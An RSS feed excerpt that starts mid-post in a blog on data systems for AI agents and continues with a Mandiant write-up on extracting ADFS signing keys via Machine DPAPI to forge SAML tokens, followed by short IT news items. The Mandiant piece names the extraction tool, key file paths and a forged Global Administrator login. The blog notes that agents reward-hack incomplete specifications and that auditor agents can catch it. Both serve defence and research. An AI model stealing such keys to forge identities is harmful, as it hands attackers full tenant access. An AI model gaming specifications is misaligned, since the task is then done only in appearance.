<p>One could use a <a href="https://mem0.ai/">knowledge</a> <a href="https://www.getzep.com/">graph</a> <a href="https://langchain-ai.github.io/langmem/">representation</a>, but knowledge graphs suffer from the same limitations as unstructured MD-based memory due to their lack of structured search. What one needs is to be able to retrieve only memory that is pertinent to the task, across multiple attributes (or facets) of interest. For example, an agent debugging a flaky test should be able to pull only the memories tagged with the relevant module, language, framework, and failure mode—rather retrieving based on keywords or embedding similarity. A separate issue is what to actually retrieve; raw agent traces with mistakes are not very useful as they will induce agents to repeat the same mistake—instead, we want the retrieved memory to be corrective.</p>

<p>We recently explored a related notion of <a href="https://arxiv.org/abs/2602.13521"><em>structured memory</em></a>, where we organize memory across various attributes, each of which could be set as <code class="language-plaintext highlighter-rouge">*</code> to indicate universal applicability, or set as a list of values to be matched. For a data agent, the dimensions could include the columns and tables, type of operation, and finally, open-ended natural-language corrective instructions. So, we could include memory that only applies to a given type of operation (e.g., ‘when performing date-time operations, use fiscal year as opposed to calendar year conventions’), or a given table (e.g., ‘column product_cleaned is preferred over column product when querying on product name’). One open question is defining an <em>application-specific structured memory</em>—or what others have called <a href="https://www.linkedin.com/feed/update/urn:li:activity:7467499112523804672/">world models for memory</a>. We believe this is akin to defining a schema for each application—and perhaps agents themselves can help us define and refine it over time.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/structured-knowledge.png" alt="Diagram showing corrective knowledge stored with structured attributes (SQL keywords, tables, columns, data type) and retrieved by matching the features of a new agent query" width="100%"><br>
<i>
One Possible Way To Store and Retrieve Structured Knowledge <a href="https://arxiv.org/abs/2602.13521">[From Here]</a>
</i>
</p>

<p>Structured memory will be useful also for <a href="https://github.com/skydiscover-ai/skydiscover">evolutionary</a> <a href="https://arxiv.org/abs/2506.13131">frameworks</a> to effectively manage search spaces. Indeed, storing, structuring, and mining large volumes of single and <a href="https://sky.cs.berkeley.edu/project/mast/">multi-agent traces</a> can help future agents become much more efficient—potentially enabling effective recursive self-improvement through structured memory-based mechanisms.</p>

<p>Another challenge is to support concurrent edits to shared memory, and concurrent edits in general, when there are many agents performing transformations. While there have been some useful attempts at <a href="https://dl.acm.org/doi/10.1145/3702634.3702955">supporting</a> <a href="https://neon.com/docs/get-started/why-neon">multiversioning</a> and <a href="https://docs.turso.tech/agentfs/introduction">copy-on-write semantics</a>, it isn’t clear that such techniques will suffice when thousands of agents are attempting to edit shared state at the same time. For instance, when agents are trying various potential transactions in response to a user request, the effects of the vast majority of these transactions need to be rolled back—with only the one ‘correct’ transaction’s result persisting. Work on supporting exactly-once semantics is relevant here, as are underlying techniques based on CRDTs and operational transformation. For updates to fuzzy mechanisms such as memory, we may be able to sacrifice on consistency for perfect correctness in the interest of latency. While agents can reason about semantics to compensate or roll back their actions to eventually finalize most tasks, the primary challenge lies in the degree to which they step on each other’s toes during the process. An important failure mode to be avoided is a form of “livelock,” where incessant compensating actions prevent any meaningful progress.</p>

<p>Beyond shared state, other concerns emerge when trying to support an army of agents, including what to do when agents fail, how agents should communicate with each other (directly or through intermediate shared state), and how we should deal with straggler agents. There have been some developments in supporting durable multi-agent execution, such as <a href="https://temporal.io/solutions/ai">Temporal</a>, but it remains to be seen if such solutions will apply at scale across thousands of agents. On the topic of communication, we need mechanisms to enable agents to negotiate with each other. Imagine four developer agents attempting to reach consensus on a shared schema, with distinct but overlapping objectives. In a human setting, this would involve iterative discussion and compromise; for agentic swarms, we must define the mechanisms that allow them to converge on a design that reflects the underlying goals of their respective principals. Or if agents are all requiring access to a limited resource, again communication will be necessary. It remains to be seen if this is best done via centralized coordination, or if a decentralized approach is necessary.</p>

<h2>Data Systems By Agents</h2>

<p>Finally, if intelligence is effectively free, then we can employ this intelligence to synthesize new data systems from scratch. Indeed, in many settings, general-purpose data systems may be overkill, as they have to support every schema, query, and hardware target. Given a workload, recent work, including <a href="https://arxiv.org/abs/2603.02001">Bespoke OLAP</a> and <a href="https://arxiv.org/abs/2603.02081">GenDB</a>, has shown that one can use an agentic pipeline to synthesize a complete, workload-specific analytical engine—in minutes to a few hours, at a cost of a few dollars. The engines are disposable: when the workload shifts, one can simply regenerate them. Analogously, our work has shown that one can synthesize custom <a href="https://arxiv.org/abs/2605.24096">key-value stores</a> from scratch, targeted to the workload. In fact, modern IDEs, such as <a href="https://kiro.dev/">Kiro</a>, elevate specifications for systems development to be a first-class citizen.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/synthesize-from-scratch.png" alt="A robot agent with a hammer and chisel carving a database character out of a block of stone" width="500"><br>
<i>
Agents Can Synthesize Custom Data Systems From Scratch
</i>
</p>

<p>The main issue, however, is that specifications are typically imperfect, and don’t cover all corner cases. Present-day agents will exploit the missing specifications to reward-hack their way to a high performance metric. In our custom key-value store work, we found that one way to alleviate this is to have auxiliary verification agents trying to generate test cases that catch the exploitation of corner cases, essentially expanding the specification. Yet another approach is to both generate a system and a proof for its correctness together, for which we have found some <a href="https://arxiv.org/abs/2605.23109">early success</a>, but more needs to be done to solidify the approach. Further, it remains to be seen what is the best way to solicit human-written specifications for a system—can this be done in an iterative, human-in-the-loop manner, as opposed to a one-shot, incomplete one. Indeed, human-written specifications are incomplete even for manually authored software, so one would expect that future agents that are more aligned will increasingly exercise better judgement when making design decisions.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/synthesis-pipeline.png" alt="Pipeline diagram where a system builder provides a specification, planner and coder agents generate code, the code is evaluated for correctness and performance, and critic and auditor agents provide feedback and catch reward hacking" width="100%"><br>
<i>
One Possible Data System Synthesis Pipeline <a href="https://arxiv.org/abs/2605.24096">[From Here]</a>
</i>
</p>

<p>Other questions here involve testing whether starting from a mature system (e.g., Postgres) and removing components/functionality can lead to higher performance or more user trust. Separately, is there an opportunity to make the design composable, comprising various verified components that are mixed and matched given a workload? For example, perhaps the workload hasn’t changed enough for the storage layer to be updated, but perhaps the query optimizer requires changes. A perhaps more viable proposition involves employing agents coupled with proof systems to target critical parts of the code associated with formal proofs, rather than doing so for the entire system.</p>

<p>A final opportunity here is to move away from the traditional data systems stack with clearly-defined interfaces (e.g., parser, query optimizer, storage manager, …) — that were each largely the prerogative of a single human team to manage. Instead, agents can find new ways to “blend” these components together, perhaps identifying new optimization opportunities as a result. Agents can also fill in missing gaps in functionality to make existing systems much more feature-complete, or reach feature-parity with other competing systems—or analogously, continuously refining open-source systems in response to feature requests or issues (perhaps filed by other agents!) Doing so in a way that prioritizes correctness, long-term maintenance, and human interpretability will be a challenge.</p>

<h2>Looking Further Ahead</h2>

<p>In the era of near-free intelligence, data systems matter more than ever. As agents take on the bulk of knowledge work, the workload for data systems will change, the substrate they need to run on will have to be built, and increasingly, they will participate in designing data systems themselves. Each of these shifts opens up a new, exciting research agenda.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/co-evolution.png" alt="A half-database, half-robot character next to a yin-yang symbol formed by a database and a robot agent" width="600"><br>
<i>
Co-Evolution of Data Systems and Agents
</i>
</p>

<p>Looking further out, the boundaries between agents and data systems will likely start to blur. For instance, agents may design the data systems they themselves run on, defining both the interfaces as well as the system components underneath. Both the interfaces and internals can be evolved over time by agents in a form of recursive self-improvement. There is also an opportunity to rethink data systems as a holistic source of truth for the entirety of relevant state: including raw data, memory, and coordination state, further erasing the distinctions between the data that is being queried by agents and data generated as a result of agentic activity. Finally, data systems may themselves incorporate agentic components, fundamentally evolving from passive computation engines into intelligent, proactive, self-optimizing architectures. It is hard to predict what the future may hold. We’re in for a wild ride!</p>

<h2>Acknowledgments</h2>

<p>The perspective and ongoing work described in this post are the product of joint research and many discussions with wonderful collaborators at the <a href="https://epic.berkeley.edu/">EPIC Data Lab</a>, <a href="https://dsf.berkeley.edu/">Data Systems &amp; Foundations</a> group, and the broader Berkeley AI-Systems community. Thank you all!</p>

<p>BibTex for this post:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>@misc{intelligence-is-free-blog,
  title={Intelligence is Free, Now What? Data Systems for, of, and by Agents},
  author={Aditya G. Parameswaran and Shubham Agarwal and Kerem Akillioglu and Shreya Shankar
          and Sepanta Zeighami and Rishabh Iyer and Matei Zaharia and Alvin Cheung
          and Natacha Crooks and Joseph Gonzalez and Joseph Hellerstein and Ion Stoica},
  howpublished={\url{https://bair.berkeley.edu/blog/2026/07/07/intelligence-is-free-now-what/}},
  year={2026}
}
</code></pre></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The ‘Ghost’ in the Database: Recovering Active ADFS Signing Keys via Machine DPAPI]]></title>
<description><![CDATA[Written by: Shebin Mathew

Introduction 
The "Golden SAML" technique, first described by CyberArk researchers in 2017, and further detailed by Mandiant researchers in 2021, remains one of the most effective methods for threat actors to forge identity assertions in the Microsoft ecosystem. By obta...]]></description>
<link>https://tsecurity.de/de/3652290/it-security-nachrichten/the-ghost-in-the-database-recovering-active-adfs-signing-keys-via-machine-dpapi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652290/it-security-nachrichten/the-ghost-in-the-database-recovering-active-adfs-signing-keys-via-machine-dpapi/</guid>
<pubDate>Tue, 07 Jul 2026 19:07:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Shebin Mathew</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction</span><strong> </strong></h3>
<p><span>The "Golden SAML" technique, first described by </span><a href="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps" rel="noopener" target="_blank"><span>CyberArk researchers</span></a><span> in 2017, and further detailed by </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/abusing-replication-stealing-adfs-secrets-over-the-network"><span>Mandiant researchers in 2021</span></a><span>, remains one of the most effective methods for threat actors to forge identity assertions in the Microsoft ecosystem. By obtaining the private key of an ADFS token-signing certificate, an attacker can authenticate as any user to any SAML-federated application, bypassing multifactor authentication (MFA), conditional access, and all identity-based controls.</span></p>
<p><span>However, during a recent red team engagement, Mandiant discovered that when ADFS certificates are manually rotated, configuration drift can silently leave active signing keys exposed in Machine DPAPI. Specifically, Mandiant discovered </span><span>that in environments where AutoCertificateRollover is disabled and certificates are manually rotated, the database often becomes a 'ghost'—a record that still exists, still decrypts successfully, but references a certificate no longer used for token signing by the ADFS service. This attack vector warrants attention because the underlying configuration is commonly deployed in enterprise environments. The technique avoids direct interaction with components such as LSASS and the live ADFS service process, which are often subject to enhanced monitoring in enterprise environments, and may therefore result in lower visibility depending on the organization’s telemetry coverage. This post details how adversaries may exploit this TTP to forge high-privilege SAML tokens and provides the blueprint to defend against it.</span></p>
<h3><span>Technical Insight: Encountering the ‘Ghost Certificate’</span></h3>
<p><span>Analysts followed the standard DKM extraction path, retrieving the encrypted blob from the WID database and decrypting it using the DKM material stored in Active Directory. The extraction succeeded, but the recovered certificate was no longer valid for token signing, and Entra ID rejected the resulting tokens with</span> <code>AADSTS500172</code><span> due to invalid signing material. Although structurally correct, the artifact is not usable for authentication, as the active signing key resides in the system’s machine-scoped cryptographic store, protected by Windows Machine DPAPI and managed through the operating system’s cryptographic subsystem. Successfully obtaining this active key allows an attacker to forge valid SAML assertions for any user, bypassing the need for user credentials and multi-factor authentication, and granting unauthorized access to any SAML-federated application including Microsoft 365 and Entra ID within the organization's environment.</span></p>
<p><span>Analysis revealed that</span><span> </span><code>AutoCertificateRollover</code><span> </span><span>had been disabled and a manual rotation had been performed. Confirmation was obtained directly via</span><span> </span><code>Get-AdfsProperties</code><span>, which returned</span><span> </span><code>AutoCertificateRollover: False</code><span>, </span><span>indicating that certificate lifecycle management had been delegated to manual administrative processes. While the ADFS service used a new valid key for signing, the WID configuration database was never updated to reflect the new certificate—leaving an expired "ghost" entry as the only record. This drift condition surfaces via Microsoft Event ID 385, which indicates certificate validity warnings in the ADFS service. Notably, this event self-resolves when</span><span> </span><code>AutoCertificateRollover</code><span> </span><span>is re-enabled and a subsequent certificate rollover is performed; in environments where it is disabled and manual rotation is performed without a corresponding database update, it is the observable symptom of this drift condition.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ghost-database-fig1.max-1000x1000.png" alt="ADFS certificate enumeration output showing configuration drift between the WID database and the active host certificate">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="8uqvx">Figure 1: ADFS certificate enumeration output showing configuration drift between the WID database and the active host certificate</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>ADFS maintains private keys in two protection contexts. In </span><strong>Location 1 (User DPAPI)</strong><span>, encrypted key blobs may exist on disk, but the DPAPI protection is tied to the service account's SID and associated DPAPI masterkey material. In the assessed environment, the domain DPAPI backup key approach successfully decrypted masterkey material for interactive user profiles, but returned no decryptable material associated with the ADFS service account profile. All subsequent offline decryption attempts similarly failed, consistent with the masterkey not being recoverable through the evaluated on-disk recovery approach in this environment—though this observation is bounded to the assessed environment and does not represent a universal architectural property of all ADFS deployments.</span></p>
<p><strong>Location 2 (Machine RSA)</strong><span> does not rely on a user-specific logon session. Instead, the key material is protected using Machine DPAPI, leveraging the</span><span> </span><code>DPAPI_SYSTEM</code><span> </span><span>LSA secret together with machine masterkeys available to sufficiently privileged SYSTEM-level contexts.</span></p>
<h4><span>Why the WID Path Misses This Key</span></h4>
<p><span>In ADFS environments experiencing configuration drift—commonly arising during manual certificate rotations where</span><span> </span><code>AutoCertificateRollover</code><span> </span><span>is disabled—the ADFS service host can successfully bind to a newly provisioned signing certificate at the operating-system level, ensuring continued service operation. However, the WID configuration database may not reflect the current signing certificate, resulting in stale certificate metadata.</span></p>
<p><span>This divergence between configuration and runtime state is the condition that ADFS Event ID 385 is designed to flag. As a consequence, extraction techniques that rely solely on the WID database and DKM material may return certificates that are no longer used for active signing, leading to rejected assertions in downstream federation scenarios.</span></p>
<h3><span>Understanding How the Machine DPAPI Store Becomes Populated</span></h3>
<p><span>Understanding how the Machine DPAPI store becomes populated requires examining how ADFS persists its token-signing key material. During initial deployment, automatic certificate rollover, or manual certificate rotation, ADFS persists its RSA private key material in the machine-scoped CAPI key store at </span><code>C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\</code><span>, protected using machine DPAPI context rather than a user-bound DPAPI context. SharpDPAPI</span><span> </span><code>/machine</code><span> </span><span>enumeration in the assessed environment confirmed that the active machine key material resided under this path, while the CNG</span><span> </span><code>Crypto\Keys</code><span> </span><span>store was not observed in use in the assessed environment.</span></p>
<p><span>The protection chain relies on the</span><span> </span><code>DPAPI_SYSTEM</code><span> </span><span>LSA secret together with machine masterkeys associated with the S-1-5-18 security context, stored in</span><span> </span><code>C:\Windows\System32\Microsoft\Protect\S-1-5-18\</code><span> </span><span>as DPAPI-protected key material—both components ultimately resolvable only within highly privileged SYSTEM-level contexts on the host. The corresponding certificate is enrolled into the </span><code>LocalMachine\My</code><span> </span><span>certificate store, from which ADFS retrieves the associated private key during token-signing operations.</span></p>
<p><span>The architectural rationale for machine-scoped key storage is operational resilience. A machine-scoped key remains usable across service account password changes, gMSA rotations, system reboots, and service restarts without requiring key reprovisioning or dependency on a specific interactive logon session. This design ensures that the ADFS service can consistently access the signing key regardless of changes to the underlying service account credentials.</span></p>
<p><span>However, this same design choice has important security implications. Because the private key is protected using Machine DPAPI rather than a user-bound DPAPI context, a sufficiently privileged local process capable of accessing the machine key store and associated DPAPI artifacts may be able to recover the key material independently of the original service logon session. As a result, under certain conditions, recovery of the active ADFS token-signing private key may be achievable without direct interaction with LSASS memory or the live ADFS service process itself, potentially reducing visibility to defenses primarily focused on credential dumping or process-memory access behaviors.</span></p></div>
<div class="block-paragraph_advanced"><div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1">
<tbody>
<tr>
<td>
<p><strong>KEY DESIGN IMPLICATION</strong></p>
<p><span>ADFS persists its token-signing private key material in the machine-scoped key store, protected using Machine DPAPI semantics. This is a documented behavior enabling machine-scoped key persistence that survives service account changes, credential rotations, and service restarts.</span></p>
<p><span>However, this design introduces an operational security implication that is not commonly emphasized in standard ADFS hardening guidance: private keys stored within the machine key store are protected using this protection model and may be recoverable by a sufficiently privileged SYSTEM-level context through access to the </span><span>DPAPI_SYSTEM</span><span> LSA secret and machine masterkeys available locally on the host.</span></p>
<p><span>As a result, recovery of the active ADFS token-signing private key may be achievable without direct interaction with LSASS memory or the live ADFS service process itself, potentially reducing visibility to security controls primarily focused on credential dumping or process-memory access behaviors.</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h3><span>Attack Flow: Machine DPAPI Key Recovery to SAML Forgery</span></h3></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ghost-database-fig2.max-1000x1000.png" alt="Machine DPAPI extraction flow—five-step process from SYSTEM execution to SAML assertion">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ggznt">Figure 2: Machine DPAPI extraction flow—five-step process from SYSTEM execution to SAML assertion</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ghost-database-fig3.max-1000x1000.png" alt="‘SharpDPAPI /machine’ output confirming successful recovery of the active ADFS token-signing private key from the machine DPAPI store">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ggznt">Figure 3: ‘SharpDPAPI /machine’ output confirming successful recovery of the active ADFS token-signing private key from the machine DPAPI store</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>The recovered key was used to forge a SAML assertion impersonating a Global Administrator identity, which Entra ID accepted as a valid authentication assertion, resulting in authenticated access at </span><strong>Global Administrator</strong><span> privilege level within the federated Microsoft 365 tenant.</span></p>
<h3><span>Detection and Hunting</span></h3>
<p><span>Defenders should prioritize visibility into operating system-level cryptographic operations and identity issuance behavior, rather than relying solely on application-layer configuration stores.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>SACL-Based Object Access Monitoring:</strong><span> Configure object access auditing via SACLs on</span><span> </span><code>C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\</code><span> </span><span>and</span><span> </span><code>C:\Windows\System32\Microsoft\Protect\S-1-5-18\</code><span>. </span><span>When configured correctly, this generates </span><strong>Security Event ID 4663</strong><span> for file access attempts. Coverage depends on SACL configuration and access paths; treat this as supporting evidence in correlation-based detection rather than a stand-alone signal.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>ADFS Token Issuance Consistency:</strong><span> Monitor for inconsistencies between primary authentication events and token issuance events in ADFS audit logs. Relevant events include token issuance and claims processing records (Event IDs 299, 1200-series, depending on ADFS version and audit configuration). The objective is to identify token issuance that cannot be clearly correlated to a preceding authentication context. This is most effective when normal authentication patterns per relying party trust are baselined.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Federated Identity Monitoring in Entra ID:</strong><span> Entra ID sign-in logs will record an accepted forged assertion as a standard federated sign-in event. Detection requires cross-correlating Entra ID sign-in records against ADFS-side issuance logs—neither source in isolation is sufficient. For privileged accounts, focus on unexpected Internet Protocol (IP) ranges, claim set deviations,and user-agent inconsistencies.</span></p>
</li>
</ul>
<h3><span>Mitigation and Remediation</span></h3>
<p><span>ADFS infrastructure should be treated as Tier 0 identity infrastructure, </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452"><span>equivalent in criticality to Domain Controllers</span></a><span>. If SYSTEM access is achieved on an ADFS host, the signing key must be considered compromised.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Hardware-Backed Key Protection:</strong><span> Migrate token-signing certificates to a Hardware Security Module (HSM). HSM-backed keys ensure private key material does not exist in software-accessible storage on the host, eliminating the Machine DPAPI extraction path entirely.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>gMSA Service Identity:</strong><span> </span><span>Run ADFS services using Group Managed Service Accounts to automate credential rotation and reduce operational drift in service identity management. While this does not directly address machine-scoped key protection, it eliminates manual credential management as a contributing factor to configuration drift.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Tier 0 Administrative Controls:</strong><span> Govern ADFS servers with strict Tier 0 controls: restricted administrative access pathways, dedicated Privileged Access Workstations (PAWs), separation from general server administration domains, and enhanced privileged access monitoring.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Certificate Rotation and Configuration Validation:</strong><span> If compromise is suspected, rotate the token-signing certificate and validate consistency across ADFS configuration, the </span><span> </span><code>LocalMachine\My</code><span> </span><span>store, and federation metadata. Do not rely on a single source of truth. For environments with AutoCertificateRollover disabled, manual rotation must include updating ADFS via </span><code>Set-AdfsCertificate</code><span>—installing the certificate alone is insufficient. Validate using</span><code> Get-AdfsCertificate</code><span> after rotation. If Event ID 385 appears afterward, investigate for configuration inconsistency. </span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Multicloud Scope Awareness:</strong><span> A compromised ADFS token-signing key affects all SAML relying party trusts, not just Microsoft services. Organizations using ADFS for identity federation across other software-as-a-service (SaaS) platforms should treat ADFS as Tier 0 infrastructure and audit all relying party trusts. Migrating away from ADFS-based federation (e.g., to native OIDC federation) removes this specific attack path.</span></p>
</li>
</ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon OpenSearch update targets performance boosts and lower costs – and at no extra charge for users]]></title>
<description><![CDATA[Surging data volumes have prompted an overhaul of Amazon’s OpenSearch service]]></description>
<link>https://tsecurity.de/de/3652122/it-security-nachrichten/amazon-opensearch-update-targets-performance-boosts-and-lower-costs-and-at-no-extra-charge-for-users/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652122/it-security-nachrichten/amazon-opensearch-update-targets-performance-boosts-and-lower-costs-and-at-no-extra-charge-for-users/</guid>
<pubDate>Tue, 07 Jul 2026 18:24:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Surging data volumes have prompted an overhaul of Amazon’s OpenSearch service]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Tuesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (nodejs22 and nodejs24), Fedora (clamav, hplip, kernel, kernel-headers, librabbitmq, mingw-expat, mir, perl-Imager, podman-tui, prometheus-podman-exporter, python-rpds-py, rust-ashpd, rust-busd, rust-gtk4-macros, rust-inferno, rust-quick-xml, rust-re...]]></description>
<link>https://tsecurity.de/de/3651621/linux-tipps/security-updates-for-tuesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651621/linux-tipps/security-updates-for-tuesday/</guid>
<pubDate>Tue, 07 Jul 2026 15:11:08 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (nodejs22 and nodejs24), <b>Fedora</b> (clamav, hplip, kernel, kernel-headers, librabbitmq, mingw-expat, mir, perl-Imager, podman-tui, prometheus-podman-exporter, python-rpds-py, rust-ashpd, rust-busd, rust-gtk4-macros, rust-inferno, rust-quick-xml, rust-reqsign-aws-v4, rust-wayland-scanner, and sandogasa), <b>Oracle</b> (container-tools:rhel8, kernel, mariadb:10.11, mariadb:11.8, nginx, perl:5.32, php, php:7.4, rrdtool, ruby:2.5, ruby:3.3, ruby:4.0, and uek-kernel), <b>Red Hat</b> (kernel, opentelemetry-collector, and python-urllib3), <b>Slackware</b> (c and openssh), <b>SUSE</b> (bind, chromedriver, cryptsetup, s390-tools, dnsmasq, jackson-annotations, jackson-core, jackson-databind, lcms2, pacemaker, perl-Cpanel-JSON-XS, perl-Crypt-SaltedHash, postfix, and python-mistune), and <b>Ubuntu</b> (gnutls28, gzip, openssh, php7.0, python-parsl, python3.10, python3.12, python3.14, request-tracker5, socat, sogo, and tar).]]></content:encoded>
</item>
<item>
<title><![CDATA[The data reckoning: How exponential growth is rewriting the rules of cost, risk and AI]]></title>
<description><![CDATA[Something structural is happening to enterprise data and most organizations are only beginning to fully understand. Data volumes are growing faster than any original assumptions about how to store, govern and extract value from information. At the same time, the cost of getting it wrong is rising...]]></description>
<link>https://tsecurity.de/de/3651287/it-security-nachrichten/the-data-reckoning-how-exponential-growth-is-rewriting-the-rules-of-cost-risk-and-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651287/it-security-nachrichten/the-data-reckoning-how-exponential-growth-is-rewriting-the-rules-of-cost-risk-and-ai/</guid>
<pubDate>Tue, 07 Jul 2026 13:08:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Something structural is happening to enterprise data and most organizations are only beginning to fully understand. Data volumes are growing faster than any original assumptions about how to store, govern and extract value from information. At the same time, the cost of getting it wrong is rising sharply: inflated infrastructure spend, expanding cyber exposure and AI initiatives that stall because the data feeding them cannot be trusted. These are not separate problems. They are three symptoms of the same underlying condition.</p>



<p>Unstructured data, the billions of documents, emails, images, videos, collaboration files and machine-generated logs that now <a href="https://wasabi.com/blog/company/get-a-head-start-on-another-year-of-data-growth" rel="nofollow">account for up to 90%</a> of all stored enterprise data, has been accumulating for decades. What has changed is the convergence of three forces that make the current moment categorically different from what came before. AI has <a href="https://www.bigeye.com/blog/the-data-quality-crisis-killing-ai-projects-and-other-hard-truths" rel="nofollow">made data quality a board-level concern</a>. Cyber threats have made data visibility vital. And infrastructure economics have made uncontrolled data growth a direct problem for the bottom line. CIOs are now being asked to address all three simultaneously, with environments that were never designed for any of them.</p>



<p>When it comes to cost, the default response to data growth was to buy more storage. That approach is no longer financially sustainable, and AI has made it counterproductive. Unprecedented demand for AI infrastructure is <a href="https://www.cnbc.com/2026/01/10/micron-ai-memory-shortage-hbm-nvidia-samsung.html" rel="nofollow">compressing storage component supply</a>https://cyberscoop.com/ibm-cost-data-breach-2025/ and driving prices up at precisely the moment when organizations need more capacity than ever. But raw capacity is not the problem. The problem is that most of what organizations are paying to store is data they cannot see, cannot evaluate and cannot be confident is worth keeping. Duplicated, outdated and poorly governed datasets do not just waste money; they feed the AI models with garbage that enterprises are now basing their competitive futures on.</p>



<h2 class="wp-block-heading">Invisible data is unmanaged risk </h2>



<p>The risk dimension is equally urgent. As data volumes grow, so does the attack surface. Organizations facing a breach today are not just dealing with the incident itself, they are dealing with the consequences of years of ungoverned data accumulation: sensitive information in unexpected locations, excessive permissions that were never reviewed and exposures that only become visible at the worst possible moment. Yet despite continued investment in AI and security initiatives, a striking number of enterprises still lack <a href="https://www.businesswire.com/news/home/20250317062585/en/New-Study-Security-Teams-Taking-on-Expanded-AI-Data-Responsibilities-as-82-Report-Visibility-Gaps" rel="nofollow">basic enterprise-wide visibil</a>ity into what their unstructured data environments actually contain.</p>



<p>The questions that should have straightforward answers often do not. What data does the organization actually hold? Where does it reside? Who owns it? Who can access it? Does it carry regulatory obligations? Does it have any remaining business value at all? The inability to answer these questions is not just an operational inconvenience; it is a direct source of financial waste, governance exposure and strategic constraint. Organizations cannot optimize what they cannot measure, and they cannot protect what they cannot find.</p>



<p>Part of what makes this so difficult is the structural fragmentation of modern data environments. Files are distributed across hybrid cloud architectures, multiple vendors, legacy on-premises systems and purpose-built applications, each with its own access model, metadata schema and governance history. There is no single view. The result is an environment where data accumulates faster than anyone can track it, and where the cost and risk implications compound quietly in the background.</p>



<p>This has driven significant investment in data discovery and classification technologies, which have matured rapidly as organizations have recognized the urgency of understanding what they hold and where the exposure lies. The ability to identify sensitive data across enterprise environments, flag orphaned assets and surface excessive permissions has become an essential capability.  </p>



<p>Yet insight alone is not enough, and this is where many organizations find themselves getting stuck. The gap between knowing there is a problem and being able to fix it at scale is often huge. Understanding that sensitive data exists in the wrong location is not the same as being able to move, govern or remediate it across an environment containing hundreds of millions of files. Identification and action are two entirely different capabilities, and most organizations have invested heavily in the former without building the latter.</p>



<h2 class="wp-block-heading">From reactive to intentional: the governance imperative</h2>



<p>Most enterprises are already paying the price of ungoverned data growth — in wasted infrastructure spend, governance failures and <a href="https://www.gartner.com/en/newsroom/press-releases/2025-02-26-lack-of-ai-ready-data-puts-ai-projects-at-risk" rel="nofollow">AI initiatives that underdeliver</a>. The challenge for CIOs is not building the case for action; it is building the capability to act at the scale the problem demands.</p>



<p>Three principles define the organizations that are getting this right. The first is that governance must be an operational discipline, not a periodic audit. Permissions drift. Data relevance decays. Compliance requirements evolve. An environment that was well-governed six months ago may present material risk today, and the only way to stay ahead of that is through continuous visibility and the ability to act on what it reveals at scale, automatically, and consistently across the entire estate.</p>



